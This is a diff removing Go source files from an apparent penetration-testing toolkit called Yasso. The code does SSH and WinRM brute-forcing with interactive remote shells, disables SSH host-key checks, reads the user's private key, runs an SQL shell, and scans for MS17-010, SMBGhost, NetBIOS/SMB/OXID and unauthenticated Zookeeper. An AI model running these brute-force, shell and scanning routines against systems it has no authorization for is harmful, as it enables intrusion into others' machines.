if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") {
Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
return
}
}
func SshConnByUser(info config.HostIn, user, pass string) (*ssh.Client, bool, error) {
// 走socks5代理的ssh连接
sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.TimeOut}
con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return nil, false, err
}
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig)
if err != nil {
return nil, false, err
}
return ssh.NewClient(c, ch, re), true, err
}
func sshConnByKey(info config.HostIn, user string) (*ssh.Client, bool, error) {
var (
err error
HomePath string
key []byte
)
switch {
case info.PublicKey == "":
HomePath, err = os.UserHomeDir()
if err != nil {
return nil, false, err
}
key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
if err != nil {
return nil, false, err
}
case info.PublicKey != "":
key, err = ioutil.ReadFile(info.PublicKey)
if err != nil {
return nil, false, err
}
}
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
return nil, false, err
}
sshConfig := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
Timeout: info.TimeOut,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return nil, false, err
}
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig)
if err != nil {
return nil, false, err
}
return ssh.NewClient(c, ch, re), true, err
}
// ssh 完全交互式登陆
func SshLogin(client *ssh.Client) {
defer client.Close()
session, err := client.NewSession()
if err != nil {
Println(fmt.Sprintf("new ssh session failed %v", err))
return
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
session.Stdin = os.Stdin
modes := ssh.TerminalModes{
ssh.ECHO: 1,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
ssh.VSTATUS: 1,
}
fd := int(os.Stdin.Fd())
oldState, err := terminal.MakeRaw(fd)
if err != nil {
Println(fmt.Sprintf("terminal failed %v", err))
}
defer terminal.Restore(fd, oldState)
w, h, err := terminal.GetSize(fd)
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
Println(fmt.Sprintf("Session Request new xterm failed %v", err))
return
}
if err = session.Shell(); err != nil {
Println(fmt.Sprintf("Session start shell failed %v", err))
return
}
if err = session.Wait(); err != nil {
Println(fmt.Sprintf("Session wait failed %v", err))
return
}
}

File diff suppressed because one or more lines are too long

Binary file not shown.

Binary file not shown.

View File

@@ -1,147 +0,0 @@
package cmd
import (
"bufio"
"bytes"
"database/sql"
"fmt"
"github.com/olekukonko/tablewriter"
"golang.org/x/net/proxy"
"log"
"net"
"os"
"strings"
"time"
)
// socks5代理连接功能
func ConnBySOCKS5() (proxy.Dialer, error) {
// 解析连接过来的socks5字符串
if strings.ContainsAny(ProxyHost, "@") && strings.Count(ProxyHost, "@") == 1 {
info := strings.Split(ProxyHost, "@")
userpass := strings.Split(info[0], ":")
auth := proxy.Auth{User: userpass[0], Password: userpass[1]}
dialer, err := proxy.SOCKS5("tcp", info[1], &auth, proxy.Direct)
return dialer, err
} else {
if strings.ContainsAny(ProxyHost, ":") && strings.Count(ProxyHost, ":") == 1 {
dialer, err := proxy.SOCKS5("tcp", ProxyHost, nil, proxy.Direct)
return dialer, err
}
}
return nil, fmt.Errorf("proxy error")
}
// 返回一个连接
func GetConn(addr string, timeout time.Duration) (net.Conn, error) {
if ProxyHost != "" {
dialer, err := ConnBySOCKS5()
if err != nil {
return nil, err
}
conn, err := dialer.Dial("tcp", addr)
if err != nil {
return nil, err
}
return conn, nil
} else {
return net.DialTimeout("tcp", addr, time.Duration(timeout))
}
}
func SQLExecute(db *sql.DB, q string) (*Results, error) {
if q == "" {
return nil, nil
}
rows, err := db.Query(q)
//rows, err := db.Query(q)
if err != nil {
return nil, err
}
columns, err := rows.Columns()
if err != nil {
return nil, err
}
var results [][]string
for rows.Next() {
rs := make([]sql.NullString, len(columns))
rsp := make([]interface{}, len(columns))
for i := range rs {
rsp[i] = &rs[i]
}
if err = rows.Scan(rsp...); err != nil {
break
}
_rs := make([]string, len(columns))
for i := range rs {
_rs[i] = rs[i].String
}
results = append(results, _rs)
}
if closeErr := rows.Close(); closeErr != nil {
return nil, closeErr
}
if err != nil {
return nil, err
}
if err := rows.Err(); err != nil {
return nil, err
}
return &Results{
Columns: columns,
Rows: results,
}, nil
}
type Results struct {
Columns []string
Rows [][]string
}
func (r *Results) String() string {
buf := bytes.NewBufferString("")
table := tablewriter.NewWriter(buf)
table.SetHeader(r.Columns)
table.AppendBulk(r.Rows)
table.Render()
return buf.String()
}
func SQLshell(db *sql.DB, sqltype string) {
reader := bufio.NewReader(os.Stdin)
Println(fmt.Sprintf("Welcome to Yasso sql client "))
for {
fmt.Printf("Yasso-%s> ", sqltype)
sqlstr, err := reader.ReadString('\n')
if err != nil {
log.Panic("failed to ReadString ", err)
}
sqlstr = strings.Trim(sqlstr, "\r\n")
sqls := []byte(sqlstr)
if len(sqls) > 6 {
if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" {
//result set sql
r, err := SQLExecute(db, sqlstr)
if err != nil {
Println(fmt.Sprintf("%v", err))
}
Println(fmt.Sprintf("%v", r))
} else {
//no result set sql
r, err := SQLExecute(db, sqlstr)
if err != nil {
Println(fmt.Sprintf("%v", err))
}
Println(fmt.Sprintf("%v", r))
}
}
if sqlstr == "exit" {
Println("exit sql shell")
break
}
}
}

View File

@@ -1,17 +0,0 @@
package cmd
import (
"github.com/spf13/cobra"
)
var versionCmd = &cobra.Command{
Use: "version",
Short: "Print Yasso's version in screen",
Run: func(cmd *cobra.Command, args []string) {
Println("Yasso Version is 0.1.2")
},
}
func init() {
rootCmd.AddCommand(versionCmd)
}

View File

@@ -1,78 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"strings"
"sync"
)
// smbghost eternalblue
var (
ms17010bool bool
smbGohstbool bool
allbool bool
)
var VulCmd = &cobra.Command{
Use: "vulscan",
Short: "Host Vulnerability Scanning (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts)
} else {
Println("Yasso scanner need a hosts")
return
}
if smbGohstbool == true || ms17010bool == true || allbool == true {
Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips)))
}
VulScan(ips, ms17010bool, allbool, smbGohstbool)
},
}
func init() {
VulCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
VulCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
VulCmd.Flags().BoolVar(&smbGohstbool, "gs", false, "scan smbghost")
VulCmd.Flags().BoolVar(&ms17010bool, "ms", false, "scan ms17010")
VulCmd.Flags().BoolVar(&allbool, "all", true, "scan all vuln contains ms17010,smbghost")
rootCmd.AddCommand(VulCmd)
}
func VulScan(ips []string, ms17010bool bool, allbool bool, smbGohstbool bool) {
var wg sync.WaitGroup
p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) {
if ms17010bool == true || allbool == true {
Ms17010Conn(config.HostIn{
Host: ip.(string),
Port: 445,
TimeOut: TimeDuration,
})
}
if smbGohstbool == true || allbool == true {
SmbGhostConn(config.HostIn{
Host: ip.(string),
Port: 445,
TimeOut: TimeDuration,
})
}
wg.Done()
})
for _, ip := range ips {
if strings.Contains(ip, ":") && !strings.Contains(ip, ":445") {
continue
}
wg.Add(1)
_ = p.Invoke(ip)
}
wg.Wait()
}

View File

@@ -1,116 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/masterzen/winrm"
"github.com/spf13/cobra"
"io"
"net"
"os"
)
var WinRMCmd = &cobra.Command{
Use: "winrm",
Short: "winrm burst and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
WinBurpByUser()
}
},
}
func init() {
WinRMCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)")
WinRMCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
WinRMCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
WinRMCmd.Flags().BoolVar(&WinRMbool, "shell", false, "Get a cmd shell with WinRM")
WinRMCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute system command")
}
func WinBurpByUser() {
if BrutePort == 0 {
BrutePort = 5985
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同
Println("[*] Brute Module [winrm]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {
auth, b, err := WinRMAuth(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] WinRM Auth Failed %v", err))
return
}
if SQLCommand != "" && b == true {
WinRMShell(auth, SQLCommand, false)
}
if WinRMbool == true && b == true {
WinRMShell(auth, "", true)
}
}
}
func WinRMAuth(info config.HostIn, user, pass string) (*winrm.Client, bool, error) {
var err error
params := winrm.DefaultParameters
// 设置代理认证
params.Dial = func(network, addr string) (net.Conn, error) {
return GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
}
// 设置输入
endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
stdout := os.Stdout
res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
if err != nil {
return nil, false, err
}
if res == 0 && err == nil {
return client, true, nil
}
return nil, false, err
}
func WinRMShell(client *winrm.Client, Command string, shell bool) {
if shell == true {
shell, err := client.CreateShell()
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v", err))
return
}
var cmd *winrm.Command
cmd, err = shell.Execute("cmd.exe")
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v", err))
return
}
go io.Copy(cmd.Stdin, os.Stdin)
go io.Copy(os.Stdout, cmd.Stdout)
go io.Copy(os.Stderr, cmd.Stderr)
cmd.Wait()
shell.Close()
} else {
_, err := client.Run(Command, os.Stdout, os.Stderr)
if err != nil {
Println(fmt.Sprintf("[!] Execute Command failed %v", err))
return
}
}
}

View File

@@ -1,552 +0,0 @@
package cmd
import (
"bytes"
"fmt"
"github.com/spf13/cobra"
"net"
"strconv"
"strings"
"sync"
"time"
)
var netbiosflag bool
var smbflag bool
var oxidflag bool
var allflag bool
var WinCmd = &cobra.Command{
Use: "winscan",
Short: "netbios、smb、oxid scan",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
} else {
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips)))
winscan(ips, allflag)
},
}
func init() {
rootCmd.AddCommand(WinCmd)
WinCmd.Flags().BoolVar(&smbflag, "smb", false, "Set smb flag and use smb scan")
WinCmd.Flags().BoolVar(&netbiosflag, "netbios", false, "Set netbios flag and use netbios scan")
WinCmd.Flags().BoolVar(&oxidflag, "oxid", false, "Set oxid flag and use oxid scan")
WinCmd.Flags().BoolVar(&allflag, "all", true, "Set all flag and use oxid,netbios,smb scan")
WinCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
WinCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set net conn timeout")
WinCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it")
}
func winscan(host []string, allay bool) {
if netbiosflag == true {
NbtScan(host)
} else if smbflag == true {
SmbScan(host)
} else if oxidflag == true {
OxidScan(host)
} else if allay == true {
runall(host)
} else {
Println("[*] Your need set netbios、smb、oxid flag")
}
}
var oxidQuery1 = [...]byte{
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,
0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00,
0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00,
0x00, 0x00,
}
var oxidQuery2 = [...]byte{
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x00,
}
func ConncetNbios(ip string, port int) (string, int, error, []string) {
nbname, err := netBios(ip)
if nbname.msg != "" {
return ip, port, nil, []string{nbname.msg}
}
return ip, port, err, nil
}
var smbQuery = [...]byte{
0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06,
0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20,
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00,
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
func netBios(host string) (nbname NbnsName, err error) {
nbname, err = getNbnsname(host)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", host, 139)
conn, err := GetConn(realhost, TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
if len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
if err != nil {
return
}
_, err = readbytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "\n\t-------------------------------------------\n\t"
nbname.msg += msg1 + "\n\t"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content))
}
}
nbname.msg = strings.TrimSpace(nbname.msg)
return nbname, err
}
func getNbnsname(host string) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", host, 137)
conn, err := net.DialTimeout("udp", realhost, TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
msg := ""
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n\t", name)
}
}
nbname.msg += msg
nbname.msg = strings.TrimSpace(nbname.msg)
return
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := one + 0x41
output = append(output, byte(out))
}
return
}
func Connectoxid(ip string, port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
err, oxidres := oxidIpInfo(conn)
if err != nil {
return ip, port, err, nil
} else {
return ip, port, nil, oxidres
}
}
func oxidIpInfo(conn net.Conn) (error, []string) {
buf := make([]byte, 256)
_, err := conn.Write(oxidQuery1[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
_, err = conn.Write(oxidQuery2[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00})
if len(buf) < 40 || end == -1 {
return fmt.Errorf(""), nil
}
buf = buf[40:end]
var oxidRes []string
for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; {
res := buf[1:i]
res = bytes.Replace(res, []byte{0x00}, []byte(""), -1)
oxidRes = append(oxidRes, string(res))
buf = buf[i+3:]
i = bytes.Index(buf, []byte{0x00, 0x00, 0x00})
}
return nil, oxidRes
}
func smbinfo(conn net.Conn) (error, []string) {
buf := make([]byte, 1024)
_, err := conn.Write(smbQuery[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
if len(buf) < 81 {
return fmt.Errorf(""), nil
}
buf = buf[81:]
end := bytes.Index(buf, []byte{0x00, 0x00, 0x00})
var smbRes []string
domain := buf[:end]
hostname := buf[end:]
domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1)
hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1)
smbRes = append(smbRes, "domain: "+string(domain))
smbRes = append(smbRes, "hostname: "+string(hostname))
return nil, smbRes
}
func Connectsmb(ip string, port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
ok, smbRes := smbinfo(conn)
if ok == nil {
return ip, port, nil, smbRes
} else {
return ip, port, ok, nil
}
}
func OxidScan(host []string) {
//result := PortScan(host,[]int{135})
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
_, _, err, r := Connectoxid(v, 135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:]))
} else {
Println(fmt.Sprintf("[OXID] %v", r))
}
}(v)
}
wg.Wait()
}
func SmbScan(host []string) {
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
ip, _, err, r := Connectsmb(v, 445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v", ip, r))
}
}(v)
}
wg.Wait()
}
func NbtScan(host []string) {
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
_, _, err, r := ConncetNbios(v, 139)
if err != nil {
return
}
for _, s := range r {
Println(fmt.Sprintf("[+] %v", v))
Println(fmt.Sprintf("\t%v", s))
}
}(v)
}
wg.Wait()
}
func runall(host []string) {
var wg sync.WaitGroup
for _, v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
func(v string) {
_, _, err, r := ConncetNbios(v, 139)
if err != nil {
return
}
for _, s := range r {
Println(fmt.Sprintf("[NBTBIOS] %v", v))
Println(fmt.Sprintf("\t%v", s))
}
}(v)
func(v string) {
ip, _, err, r := Connectsmb(v, 445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v", ip, r))
}
}(v)
func(v string) {
_, _, err, r := Connectoxid(v, 135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:]))
} else {
Println(fmt.Sprintf("[OXID] %v", r))
}
}(v)
}(v)
}
wg.Wait()
}

View File

@@ -1,27 +0,0 @@
package cmd
import (
"Yasso/config"
"bytes"
"fmt"
)
func ZookeeperConn(info config.HostIn) (bool, error) {
payload := []byte("envidddfdsfsafafaerwrwerqwe")
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return false, err
}
_, err = conn.Write(payload)
if err == nil {
reply := make([]byte, 1024)
n, err := conn.Read(reply)
if err == nil {
if bytes.Contains(reply[:n], []byte("Environment")) {
Println(fmt.Sprintf("[+] zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
return true, nil
}
}
}
return false, err
}